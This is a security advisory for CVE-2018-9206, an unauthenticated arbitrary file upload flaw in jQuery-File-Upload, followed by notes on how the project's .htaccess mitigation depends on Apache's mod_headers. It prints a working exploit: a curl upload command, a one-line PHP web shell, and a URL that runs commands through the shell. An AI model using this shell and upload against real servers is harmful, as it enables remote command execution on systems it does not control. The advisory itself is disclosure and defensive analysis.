The VapidLabs Vulnerability Database

Vulnerabilities discovered by Larry W. Cashdollar

1 advisory Latest: 2018-10-09
Back to all advisories
Examine in ATT&CK and D3FEND: CVE2CAPEC

jQuery-File-Upload <= v9.22.0 unauthenticated arbitrary file upload vulnerability

#950 · 2018-10-09
arbitrary file upload vulnerability
CVE ID(s): CVE-2018-9206
Summary: unauthenticated arbitrary file upload vulnerability
Notified: 2018-10-09
Description:
File Upload widget with multiple file selection, drag&drop support, progress bar, validation and preview images, audio and video for jQuery. Supports cross-domain, chunked and resumable file uploads. Works with any server-side platform (Google App Engine, PHP, Python, Ruby on Rails, Java, etc.) that supports standard HTML form file uploads.
Exploit:
$ curl   -F "files=@shell.php" http://localhost/jQuery-File-Upload-9.22.0/server/php/index.php

Where shell.php is:

<?php $cmd=$_GET['cmd']; system($cmd);?>

Or

https://github.com/lcashdol/Exploits/tree/master/CVE-2018-9206
Notes:
Actively being exploited in the wild.
https://github.com/blueimp/jQuery-File-Upload/pull/3514

The author includes a .htaccess under server/php/files that attempt to force the file as a download
and change the file extension to .html.

.htaccess with comments removed:

SetHandler default-handler
ForceType application/octet-stream
Header set Content-Disposition attachment

<FilesMatch "(?i)\.(gif|jpe?g|png)$">
	ForceType none
	Header unset Content-Disposition
</FilesMatch>

Header set X-Content-Type-Options nosniff

Testing this on default versions of Ubuntu and Debian:

If I enable AllowOverride All in /etc/apache2/apache2.conf for the directory /var/www I get an Internal Server Error.

The error log states:

Invalid command 'Header', perhaps misspelled or defined by a module not included in the server configuration.

So it seems the default apache configuration is missing mod_headers.

https://httpd.apache.org/docs/current/mod/mod_headers.html

root@debian:/etc/apache2/mods-enabled# ln -s ../mods-available/headers.load 
root@debian:/etc/apache2/mods-enabled# /etc/init.d/apache2 restart
[ ok ] Restarting apache2 (via systemctl): apache2.service.

http://example.com/jQuery-File-Upload-9.22.0/server/php/files/shell.php?cmd=uptime

Now the above downloads shell.html as the software author intended.